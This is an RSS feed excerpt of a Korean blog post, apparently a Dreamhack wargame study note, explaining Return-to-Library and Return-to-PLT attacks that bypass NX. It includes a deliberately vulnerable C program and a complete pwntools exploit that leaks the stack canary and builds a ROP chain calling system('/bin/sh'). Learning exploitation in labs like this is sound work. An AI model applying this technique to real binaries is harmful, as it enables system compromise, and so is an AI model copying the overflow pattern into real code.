&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;3omh4.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;figure id=&quot;og_1669773191146&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;[system] PLT &amp;amp; GOT&quot; data-og-description=&quot;PLT(Procedure Linkage Table)과 GOT(Global Offset Table)는 동적 링크된 심볼의 주소를 라이브러리에서 찾을 때 사용하는 테이블이다. [system] library - Static Link vs Dynamic Link 코딩을 하면 #include 를 항상 넣어준다&quot; data-og-host=&quot;3omh4.tistory.com&quot; data-og-source-url=&quot;https://3omh4.tistory.com/entry/system-PLT-GOT&quot; data-og-url=&quot;https://3omh4.tistory.com/entry/system-PLT-GOT&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/9ToWU/hyQK0Uu8Ww/kHbLquEcwmq5o68knpJneK/img.png?width=800&amp;amp;height=536&amp;amp;face=0_0_800_536,https://scrap.kakaocdn.net/dn/cpz8fs/hyQKWkhsnE/02WKk1jSsd4kTfTK9m607K/img.png?width=800&amp;amp;height=536&amp;amp;face=0_0_800_536,https://scrap.kakaocdn.net/dn/bicglk/hyQK1y7nIE/Ld4ortyD1iS9UiHuZcKTM1/img.png?width=1031&amp;amp;height=691&amp;amp;face=0_0_1031_691&quot;&gt;&lt;a href=&quot;https://3omh4.tistory.com/entry/system-PLT-GOT&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://3omh4.tistory.com/entry/system-PLT-GOT&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/9ToWU/hyQK0Uu8Ww/kHbLquEcwmq5o68knpJneK/img.png?width=800&amp;amp;height=536&amp;amp;face=0_0_800_536,https://scrap.kakaocdn.net/dn/cpz8fs/hyQKWkhsnE/02WKk1jSsd4kTfTK9m607K/img.png?width=800&amp;amp;height=536&amp;amp;face=0_0_800_536,https://scrap.kakaocdn.net/dn/bicglk/hyQK1y7nIE/Ld4ortyD1iS9UiHuZcKTM1/img.png?width=1031&amp;amp;height=691&amp;amp;face=0_0_1031_691');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;[system] PLT &amp;amp; GOT&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;PLT(Procedure Linkage Table)과 GOT(Global Offset Table)는 동적 링크된 심볼의 주소를 라이브러리에서 찾을 때 사용하는 테이블이다. [system] library - Static Link vs Dynamic Link 코딩을 하면 #include 를 항상 넣어준다&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;3omh4.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Overview&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;NX는 실행 권한을 없애 버퍼에 주입한 코드를 실행할 수 없도록 하는 것이다. 따라서 주입한 쉘코드를 실행하는 것은 어려워졌지만, 버퍼오버플로우로 return addr을 덮는 것은 여전히 가능하다. 그래서 여전히 실행 권한이 남아있는 코드 영역으로 return addr을 덮는 공격 기법을 고안했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;실행 권한이 있는 메모리 영역은 일반적으로 &lt;b&gt;바이너리의 코드영역과&amp;nbsp;&lt;/b&gt;바이너리가 참조하는&amp;nbsp;&lt;b&gt;라이브러리의 코드 영역&lt;/b&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;라이브러리 중 libc에는 system, execve등 프로세스 실행과 관련된 함수들이 구현되어 있다. 그래서 라이브러리를 이용해 &lt;b&gt;NX를 우회&lt;/b&gt;하고 쉘을 획득한다. 이를 Return to Library(RTL)이라고 한다. 이와 유사한 공격 기법으로 Return to PLT가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;RTL 실습&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 예제코드를 가지고 RTL 실습을 해보자.&lt;/p&gt;
&lt;pre id=&quot;code_1669775382341&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

const char* binsh = &quot;/bin/sh&quot;;

int main() {

  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system(&quot;echo 'system@plt'&quot;);

  // Leak canary
  printf(&quot;[1] Leak Canary\n&quot;);
  printf(&quot;Buf: &quot;);
  read(0, buf, 0x100);
  printf(&quot;Buf: %s\n&quot;, buf);

  // Overwrite return address
  printf(&quot;[2] Overwrite return address\n&quot;);
  printf(&quot;Buf: &quot;);
  read(0, buf, 0x100);

  return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;보호기법 파악&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;checksec 명령을 통해 rtl 바이너리에 적용된 보호기법을 파악한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;503&quot; data-origin-height=&quot;129&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baO5Dz/btrSs0Nq0as/qUKy1rD4aOZDGVpsZ5dKj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baO5Dz/btrSs0Nq0as/qUKy1rD4aOZDGVpsZ5dKj0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baO5Dz/btrSs0Nq0as/qUKy1rD4aOZDGVpsZ5dKj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbaO5Dz%2FbtrSs0Nq0as%2FqUKy1rD4aOZDGVpsZ5dKj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;503&quot; height=&quot;129&quot; data-origin-width=&quot;503&quot; data-origin-height=&quot;129&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;카나리가 존재하고, NX가 적용되어 있다. 리눅스 커널에서 ASLR은 기본적으로 적용되어 있으므로, 특별히 언급하지 않으면 ASLR은 적용된 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rArr; 카나리, NX, ASLR 적용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;코드 분석&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점은 앞선 글들과 비슷하게 처음 read 함수를 통해 카나리 값을 알아내고, 두번쩌 read를 통해 버퍼오버플로우를 일으켜 return addr을 바꿔 쉘을 획득하는 것이다. 이번엔 버퍼에 쉘을 주입한다고 하여도 NX로 인해 실행되지 않으므로 쉘을 실행할 다른 방법이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;NX로 인해 쉘코드 실행을 못하므로 &lt;b&gt;라이브러리의 코드 영역&lt;/b&gt;을 이용해 볼 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;line7 - /bin/sh 코드 섹션에 추가&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PLT의 system함수를 이용할 것이기 때문에 해당 문자열이 필요하다. system(&quot;/bin/sh&quot;)을 이용해 쉘을 획득한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ASLR이 적용되어 있지만, PIE가 적용되지 않아 코드 segment와 데이터 segment의 주소는 고정되어있다. 따라서 /bin/sh의 주소는 고정되어있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;line16 - system 함수를 PTL에 추가&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;system함수가 처음 호출되면, 함수 이름을 바탕으로 PLT의 라이브러리에서 심볼을 탐색하고 해당 함수를 찾으면 그 주소로 실행흐름을 옮기는 resolve 과정을 거친다. 이후 resolve된 함수의 주소는 GOT에 저장한다. 따라서 PLT에 어떤 라이브러리 함수가 있다면, 그 함수의 PLT엔트리를 실행해 해당 함수를 실행할 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;본 실습에서는 ASLR이 걸려있어도 &lt;u&gt;&lt;b&gt;PIE가 적용되어 있지 않아 PLT의 주소는 고정&lt;/b&gt;&lt;/u&gt;된다. 그래서 라이브러리의 베이스 주소를 몰라도 해당 라이브러리 함수를 실행할 수 있다. 이런 공격을 &lt;b&gt;Return to PLT&lt;/b&gt;라고 한다. PLT의 함수를 이용하므로 NX를 우회할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;ELF의 PLT에는 ELF가 실행하는 라이브러리 함수만 포함된다. 따라서 system 함수를 이용하고 싶으면, system함수를 실행하는 코드가 추가되어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;line18 ~ 27 - 버퍼 오버플로우&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음 read 함수를 통해 카나리 값을 알아내고, 두번쩌 read를 통해 버퍼오버플로우를 일으켜 return addr을 덮는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;익스플로잇 설계&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;익스에 필요한 단계는 다음과 같다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;canary 우회&lt;/li&gt;
&lt;li&gt;rdi값을 /bin/sh의 주소로 설정 (64bit 환경에서 함수의 인자를 rdi, rsi, rdx, rcx 순으로 저장하고 전달)&lt;/li&gt;
&lt;li&gt;system 함수의 PLT 주소 구하기 &amp;rArr; system 함수 호출&lt;/li&gt;
&lt;li&gt;쉘 획득&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2,3 단계를 수행하면 system(&quot;/bin/sh(rdi)&quot;)를 실행할 수 있다. 이를 위해선 리턴 가젯을 활용해야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;리턴 가젯 - Return Gadget&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리턴 가젯은 아래와 같이 ret으로 끝나는 어셈블리 코드 조각을 의미한다.이는 return address를 덮는 공격의 유연성을 높여 익스에 필요한 조건을 만족할 수 있도록 돕는다고 한다. 상황에 맞게 스택 포인터를 이동시켜주는 역할을 한다.&lt;/p&gt;
&lt;pre id=&quot;code_1672014603649&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;0x0000000000400853 : pop rdi ; ret&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이 리턴 가젯을 사용해 반환주소와 이후의 버퍼를 덮으면, pop rdi로 rdi를 /bin/sh의 주소로 설정하고 이어지는 ret으로 system 함수를 호출 할 수 있다. 대부분의 함수들도 ret로 종료되므로, 함수들도 리턴 가젯으로 사용될 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1672015016435&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;addr of (&quot;pop rdi; ret&quot;)   &amp;lt;= return address
addr of string &quot;/bin/sh&quot;   &amp;lt;= ret + 0x8
addr of &quot;system&quot; plt       &amp;lt;= ret + 0x10&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;리턴 가젯 찾기 - ROPgadget&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ROPgadget을 이용해 리턴 가젯을 찾는다. ROPgadget은 아래의 명령어로 설치 및 확인 가능하다.&lt;/p&gt;
&lt;pre id=&quot;code_1672016484783&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ python3 -m pip install ROPgadget --user
$ ROPgadget -v&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 ROPgadget -v를 했을 때 해당 명령어가 없다고 뜨면 아래의 순서로 삭제 후 재설치하면 된다.&lt;/p&gt;
&lt;pre id=&quot;code_1672017223523&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ pip list
$ pip uninstall ROPgadget
$ sudo -H python3 -m pip install ROPgadget&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 아래의 명령어로 필요한 가젯을 확인한다.&amp;nbsp; --re 옵션을 사용하면 정규표현식으로 가젯을 필터링할 수 있다. 왼편의 16진수로 적힌 주소가 가젯의 주소이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;692&quot; data-origin-height=&quot;111&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/djjJpr/btrUujyWMLk/FsdYc4rtp8Z8d4dxqk5pK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/djjJpr/btrUujyWMLk/FsdYc4rtp8Z8d4dxqk5pK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/djjJpr/btrUujyWMLk/FsdYc4rtp8Z8d4dxqk5pK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdjjJpr%2FbtrUujyWMLk%2FFsdYc4rtp8Z8d4dxqk5pK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;692&quot; height=&quot;111&quot; data-origin-width=&quot;692&quot; data-origin-height=&quot;111&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;pwndbg로 /bin/sh 주소 찾기&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;main의 적당한 곳에 브레이크 포인트를 걸고 search로 확인한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;576&quot; data-origin-height=&quot;74&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CjScH/btrUuY9vfnU/Fkezrjxr04mStTiAAKzdCK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CjScH/btrUuY9vfnU/Fkezrjxr04mStTiAAKzdCK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CjScH/btrUuY9vfnU/Fkezrjxr04mStTiAAKzdCK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCjScH%2FbtrUuY9vfnU%2FFkezrjxr04mStTiAAKzdCK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;576&quot; height=&quot;74&quot; data-origin-width=&quot;576&quot; data-origin-height=&quot;74&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;system 함수의 PLT 주소 찾기&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PLT 주소는 pwndbg 또는 pwntools의 API로 찾을 수 있다. pwndbg로 확인하려 했으나,, 아래와 같은 오류가 뜬다...&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;774&quot; data-origin-height=&quot;260&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dfEr6g/btrUGHEpFxO/68KBBkTJ3B5nCxZU4FaYKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dfEr6g/btrUGHEpFxO/68KBBkTJ3B5nCxZU4FaYKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dfEr6g/btrUGHEpFxO/68KBBkTJ3B5nCxZU4FaYKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdfEr6g%2FbtrUGHEpFxO%2F68KBBkTJ3B5nCxZU4FaYKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;774&quot; height=&quot;260&quot; data-origin-width=&quot;774&quot; data-origin-height=&quot;260&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pwntools의 API를 이용해야겠다..&lt;/p&gt;
&lt;pre id=&quot;code_1675257114474&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;e = ELF('./rtl')
system_plt = e.plt['system']&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;페이로드 작성&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;페이로드를 작성할 때 주의해야될 점이 있다. system 함수로 rip가 이동할 때, 스택은 반드시 0x10 단위로 정렬되어 있어야한다. system 내부의 movaps 명령으로 인해 0x10으로 정렬되어 있지 않으면 segmentation fault가 발생한다. 그래서 seg fault가 발생한다면, system 함수 전에 아무 의미없는 가젯(no-op gadget)을 넣어 system 함수의 가젯을 8바이트 뒤로 미뤄보는 것도 방법이다.&lt;/p&gt;
&lt;pre id=&quot;code_1675258799278&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

p = process('./rtl')
e = ELF('./rtl')

buf = b&quot;A&quot;*0x39
p.sendafter(&quot;Buf: &quot;,buf)
p.recvuntil(buf)

canary = u64(b&quot;\x00&quot; + p.recvn(7))

system_plt = e.plt[&quot;system&quot;]
binsh = 0x402004
ret = 0x000000000040101a
gadget = 0x0000000000401333

payload = b&quot;A&quot;*0x38 + p64(canary) + b&quot;B&quot;*0x08
payload += p64(ret)
payload += p64(gadget)
payload += p64(binsh)
payload += p64(system_plt)

pause()
p.sendafter(&quot;Buf: &quot;, payload)
p.interactive()&lt;/code&gt;&lt;/pre&gt;</description>
      <category>CS/system</category>
      <category>Dreamhack</category>
      <category>RTL</category>
      <category>System</category>
      <author>3omh4n</author>
      <guid isPermaLink="true">https://3omh4.tistory.com/50</guid>
      <comments>https://3omh4.tistory.com/entry/systemhacking-Exploit-Tech-Return-to-LibraryRTL#entry50comment</comments>
      <pubDate>Wed, 1 Feb 2023 22:40:22 +0900</pubDate>
    </item>
  </channel>
</rss>